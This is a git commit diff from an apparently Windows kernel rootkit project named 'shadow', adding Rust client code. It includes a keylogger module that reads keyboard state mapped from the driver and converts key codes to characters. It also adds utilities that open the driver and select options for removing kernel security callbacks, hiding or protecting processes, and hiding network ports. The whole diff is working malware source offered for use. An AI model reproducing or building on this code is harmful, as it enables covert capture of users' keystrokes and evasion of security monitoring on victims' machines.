feature(driver): remove loop/thread for key state reading, added VAD root offset retrieval

- Removed the loop and thread for reading key states; now the client handles this, as the driver maps the address to user mode.
- Added a function to retrieve the VAD root offset.
- Refactored various parts of the code for clarity and performance.
This commit is contained in:
joaoviictorti
2024-09-27 21:02:48 -03:00
parent 4e8e38d95c
commit f71555748c
25 changed files with 694 additions and 516 deletions

View File

@@ -0,0 +1,49 @@
use super::VK_CHARS;
use crate::{
is_key_down, set_key_down,
modules::misc::{KEY_PREVIOUS, KEY_RECENT, KEY_STATE}
};
/// Updates the status of the keys.
pub unsafe fn update_key_state() {
for i in 0..256 {
if is_key_down!(KEY_STATE, i) && !(is_key_down!(KEY_PREVIOUS, i)) {
set_key_down!(KEY_RECENT, i, true);
}
}
}
/// Checks if a key has been pressed.
///
/// # Parameters
///
/// - `key`: The key code.
///
/// # Returns
///
/// - `bool`: if the key was pressed, otherwise `false`.
///
pub unsafe fn key_pressed(key: u8) -> bool {
let result = is_key_down!(KEY_RECENT, key);
set_key_down!(KEY_RECENT, key, false);
result
}
/// Converts a virtual key code to a character.
///
/// # Parameters
///
/// - `key`: The code for the virtual key.
///
/// # Returns
///
/// - `&'static str`: A string representing the character corresponding to the code of the virtual key.
///
pub fn vk_to_char(key: u8) -> &'static str {
for &(vk, char) in &VK_CHARS {
if vk == key {
return char;
}
}
"UNKNOWN"
}

View File

@@ -0,0 +1,33 @@
// Reference: https://github.com/mirror/reactos/blob/c6d2b35ffc91e09f50dfb214ea58237509329d6b/reactos/win32ss/user/ntuser/input.h#L91
#[macro_export]
macro_rules! get_ks_byte {
($vk:expr) => {
($vk as usize * 2 / 8)
};
}
#[macro_export]
macro_rules! get_ks_down_bit {
($vk:expr) => {
1 << (($vk % 4) * 2)
};
}
#[macro_export]
macro_rules! is_key_down {
($ks:expr, $vk:expr) => {
($ks[$crate::get_ks_byte!($vk)] & $crate::get_ks_down_bit!($vk)) != 0
};
}
#[macro_export]
macro_rules! set_key_down {
($ks:expr, $vk:expr, $down:expr) => {
if $down {
$ks[$crate::get_ks_byte!($vk)] |= $crate::get_ks_down_bit!($vk);
} else {
$ks[$crate::get_ks_byte!($vk)] &= !$crate::get_ks_down_bit!($vk);
}
};
}

418
client/src/utils/mod.rs Normal file
View File

@@ -0,0 +1,418 @@
use {
log::*,
colored::Colorize,
env_logger::Builder,
sysinfo::System,
std::{path::Path, ptr::null_mut, io::Write},
windows_sys::{
w,
Win32::{
Foundation::{
GetLastError, GENERIC_READ, GENERIC_WRITE,
HANDLE, INVALID_HANDLE_VALUE
},
Storage::FileSystem::{
CreateFileW, FILE_ATTRIBUTE_NORMAL,
OPEN_EXISTING,
},
},
},
};
pub mod macros;
pub mod keylogger;
pub use keylogger::*;
pub const BANNER: &str = r#"
_____ __ __
/ ___// /_ ____ _____/ /___ _ __
\__ \/ __ \/ __ `/ __ / __ \ | /| / /
___/ / / / / /_/ / /_/ / /_/ / |/ |/ /
/____/_/ /_/\__,_/\__,_/\____/|__/|__/
"#;
/// Checks if the given file exists.
///
/// # Parameters
///
/// - `file` - A string reference representing the file path.
///
/// # Returns
///
/// - `true` if the file exists, `false` otherwise.
pub fn check_file(file: &String) -> bool {
let file = Path::new(file);
file.exists()
}
/// Opens a handle to the driver with the name `shadow`.
///
/// # Returns
///
/// - `Ok(HANDLE)` if the driver handle is successfully opened.
/// - `Err(())` if there is an error.
///
pub fn open_driver() -> Result<HANDLE, ()> {
info!("Opening driver handle");
let h_file = unsafe {
CreateFileW(
w!("\\\\.\\shadow"),
GENERIC_READ | GENERIC_WRITE,
0,
null_mut(),
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
0,
)
};
if h_file == INVALID_HANDLE_VALUE {
error!("CreateFileW failed with error: {:?}", unsafe { GetLastError() });
return Err(());
}
info!("Driver handle successfully opened");
Ok(h_file)
}
/// Initializes the logger with the specified verbosity level.
///
/// # Parameters
///
/// - `verbose` - A `u8` representing the verbosity level.
/// - `0` for `Info` level.
/// - Any non-zero value for `Debug` level.
///
pub fn init_logger(verbose: u8) {
let mut builder = Builder::new();
let log_level = match verbose {
0 => LevelFilter::Info,
_ => LevelFilter::Debug,
};
builder
.filter(None, log_level)
.format(|buf, record| {
let timestamp = chrono::Local::now().format("%Y-%m-%dT%H:%M:%S");
let level = match record.level() {
Level::Error => "ERROR".red().bold(),
Level::Warn => "WARN ".yellow().bold(),
Level::Info => "INFO ".green(),
Level::Debug => "DEBUG".bright_black(),
Level::Trace => "TRACE".blue(),
};
writeln!(buf, "[{}] {} [shadow] {}", timestamp, level, record.args())
})
.init();
}
/// Validates that a given file has a `.sys` extension.
///
/// # Parameters
///
/// - `val` - A string slice representing the file name.
///
/// # Returns
///
/// - `Ok(String)` if the file has a `.sys` extension.
/// - `Err(String)` if the file does not have a `.sys` extension.
///
pub fn validate_sys_extension(val: &str) -> Result<String, String> {
if val.ends_with(".sys") {
Ok(val.to_string())
} else {
Err(String::from("The driver file must have a .sys extension"))
}
}
/// Searches for the process ID (PID) of a running process by name.
///
/// # Parameters
///
/// - `name`: A reference to a string containing the name of the process to be searched.
///
/// # Return
///
/// -`Option<u32>`: Returns the PID of the process found, or `None` if no process with the specified name is found.
///
pub fn get_process_by_name(name: &str) -> Option<u32> {
let mut system = System::new_all();
system.refresh_all();
for (pid, process) in system.processes() {
if process.name() == name {
return Some(pid.as_u32());
}
}
None
}
/// Enum representing different callbacks in the system.
#[derive(clap::ValueEnum, Clone, Debug, Copy)]
pub enum Callbacks {
/// Callback for process creation notifications.
Process,
/// Callback for thread creation notifications.
Thread,
/// Callback for image loading notifications.
LoadImage,
/// Callback for registry changes.
Registry,
/// Callback for object processing.
ObProcess,
/// Callback for thread object processing.
ObThread,
}
impl Callbacks {
/// Maps the current callback to a corresponding shared enum.
///
/// # Returns
///
/// A `shared::enums::Callbacks` variant corresponding to the selected callback.
///
pub fn to_shared(self) -> shared::enums::Callbacks {
match self {
Callbacks::Process => shared::enums::Callbacks::PsSetCreateProcessNotifyRoutine,
Callbacks::Thread => shared::enums::Callbacks::PsSetCreateThreadNotifyRoutine,
Callbacks::LoadImage => shared::enums::Callbacks::PsSetLoadImageNotifyRoutine,
Callbacks::Registry => shared::enums::Callbacks::CmRegisterCallbackEx,
Callbacks::ObProcess => shared::enums::Callbacks::ObProcess,
Callbacks::ObThread => shared::enums::Callbacks::ObThread,
}
}
}
/// Enum representing various options.
#[derive(clap::ValueEnum, Clone, Debug, Copy)]
pub enum Options {
/// Option to hide targets.
Hide,
/// Option to protect targets (disabled if the `mapper` feature is enabled).
#[cfg(not(feature = "mapper"))]
Protection,
}
impl Options {
/// Maps the current option to a corresponding shared enum.
///
/// # Returns
///
/// A `shared::enums::Options` variant corresponding to the selected option.
///
pub fn to_shared(self) -> shared::enums::Options {
match self {
Options::Hide => shared::enums::Options::Hide,
#[cfg(not(feature = "mapper"))]
Options::Protection => shared::enums::Options::Protection,
}
}
}
/// Enum representing network protocols.
#[derive(clap::ValueEnum, Clone, Debug, Copy)]
pub enum Protocol {
/// Transmission Control Protocol (TCP).
TCP,
/// User Datagram Protocol (UDP).
UDP,
}
impl Protocol {
/// Maps the current protocol to a corresponding shared enum.
///
/// # Returns
///
/// A `shared::enums::Protocol` variant corresponding to the selected protocol.
///
pub fn to_shared(self) -> shared::enums::Protocol {
match self {
Protocol::TCP => shared::enums::Protocol::TCP,
Protocol::UDP => shared::enums::Protocol::UDP,
}
}
}
/// Enum representing the type of port (Local or Remote).
#[derive(clap::ValueEnum, Clone, Debug, Copy)]
pub enum PortType {
/// Local port.
LOCAL,
/// Remote port.
REMOTE,
}
impl PortType {
/// Maps the current port type to a corresponding shared enum.
///
/// # Returns
///
/// A `shared::enums::PortType` variant corresponding to the selected port type.
///
pub fn to_shared(self) -> shared::enums::PortType {
match self {
PortType::LOCAL => shared::enums::PortType::LOCAL,
PortType::REMOTE => shared::enums::PortType::REMOTE,
}
}
}
/// Mapping virtual key codes to characters.
pub const VK_CHARS: [(u8, &'static str); 153] = [
(0x01, "LEFT MOUSE BUTTON"),
(0x02, "RIGTH MOUSE BUTTON"),
(0x03, "CANCEL"),
(0x04, "MIDDLE MOUSE BUTTON"),
(0x05, "X1 MOUSE BUTTON"),
(0x06, "X2 MOUSE BUTTON"),
(0x08, "BACKSPACE"),
(0x09, "TAB"),
(0x0C, "CLEAR"),
(0x0D, "ENTER"),
(0x10, "SHIFT"),
(0x11, "CONTROL"),
(0x12, "ALT"),
(0x13, "PAUSE"),
(0x14, "CAPS LOCK"),
(0x1B, "ESCAPE"),
(0x20, "SPACEBAR"),
(0x21, "PAGE UP"),
(0x22, "PAGE DOWN"),
(0x23, "END"),
(0x24, "HOME"),
(0x25, "LEFT ARROW"),
(0x26, "UP ARROW"),
(0x27, "RIGHT ARROW"),
(0x28, "DOWN ARROW"),
(0x29, "SELECT"),
(0x2A, "PRINT"),
(0x2B, "EXECUTE"),
(0x2C, "PRINT SCREEN"),
(0x2D, "INSERT"),
(0x2E, "DELETE"),
(0x2F, "HELP"),
(0x5B, "LEFT WINDOWS"),
(0x5C, "RIGHT WINDOWS"),
(0x5D, "APPLICATIONS"),
(0x5F, "SLEEP"),
(0x60, "NUMPAD 0"),
(0x61, "NUMPAD 1"),
(0x62, "NUMPAD 2"),
(0x63, "NUMPAD 3"),
(0x64, "NUMPAD 4"),
(0x65, "NUMPAD 5"),
(0x66, "NUMPAD 6"),
(0x67, "NUMPAD 7"),
(0x68, "NUMPAD 8"),
(0x69, "NUMPAD 9"),
(0x6A, "NUMPAD *"),
(0x6B, "NUMPAD +"),
(0x6C, "SEPARATOR"),
(0x6D, "NUMPAD -"),
(0x6E, "NUMPAD ."),
(0x6F, "NUMPAD /"),
(0x70, "F1"),
(0x71, "F2"),
(0x72, "F3"),
(0x73, "F4"),
(0x74, "F5"),
(0x75, "F6"),
(0x76, "F7"),
(0x77, "F8"),
(0x78, "F9"),
(0x79, "F10"),
(0x7A, "F11"),
(0x7B, "F12"),
(0x7C, "F13"),
(0x7D, "F14"),
(0x7E, "F15"),
(0x7F, "F16"),
(0x80, "F17"),
(0x81, "F18"),
(0x82, "F19"),
(0x83, "F20"),
(0x84, "F21"),
(0x85, "F22"),
(0x86, "F23"),
(0x87, "F24"),
(0x90, "NUM LOCK"),
(0x91, "SCROLL LOCK"),
(0xA6, "BROWSER BACK"),
(0xA7, "BROWSER FORWARD"),
(0xA8, "BROWSER REFRESH"),
(0xA9, "BROWSER STOP"),
(0xAA, "BROWSER SEARCH"),
(0xAB, "BROWSER FAVORITES"),
(0xAC, "BROWSER HOME"),
(0xAD, "VOLUME MUTE"),
(0xAE, "VOLUME DOWN"),
(0xAF, "VOLUME UP"),
(0xB0, "MEDIA NEXT TRACK"),
(0xB1, "MEDIA PREVIOUS TRACK"),
(0xB2, "MEDIA STOP"),
(0xB3, "MEDIA PLAY/PAUSE"),
(0xB4, "LAUNCH MAIL"),
(0xB5, "MEDIA SELECT"),
(0xB6, "LAUNCH APPLICATION 1"),
(0xB7, "LAUNCH APPLICATION 2"),
(0xBA, "OEM 1"),
(0xBB, "OEM +"),
(0xBC, "OEM ,"),
(0xBD, "OEM -"),
(0xBE, "OEM ."),
(0xBF, "OEM 2"),
(0xC0, "OEM 3"),
(0xDB, "OEM 4"),
(0xDC, "OEM 5"),
(0xDD, "OEM 6"),
(0xDE, "OEM 7"),
(0xDF, "OEM 8"),
(0xE2, "OEM 102"),
(0xE5, "IME PROCESS"),
(0xE7, "PACKET"),
(0xF6, "ATTN"),
(0xF7, "CRSEL"),
(0xF8, "EXSEL"),
(0xF9, "EREOF"),
(0xFA, "PLAY"),
(0xFB, "ZOOM"),
(0x30, "0"),
(0x31, "1"),
(0x32, "2"),
(0x33, "3"),
(0x34, "4"),
(0x35, "5"),
(0x36, "6"),
(0x37, "7"),
(0x38, "8"),
(0x39, "9"),
(0x41, "A"),
(0x42, "B"),
(0x43, "C"),
(0x44, "D"),
(0x45, "E"),
(0x46, "F"),
(0x47, "G"),
(0x48, "H"),
(0x49, "I"),
(0x4A, "J"),
(0x4B, "K"),
(0x4C, "L"),
(0x4D, "M"),
(0x4E, "N"),
(0x4F, "O"),
(0x50, "P"),
(0x51, "Q"),
(0x52, "R"),
(0x53, "S"),
(0x54, "T"),
(0x55, "U"),
(0x56, "V"),
(0x57, "W"),
(0x58, "X"),
(0x59, "Y"),
(0x5A, "Z"),
];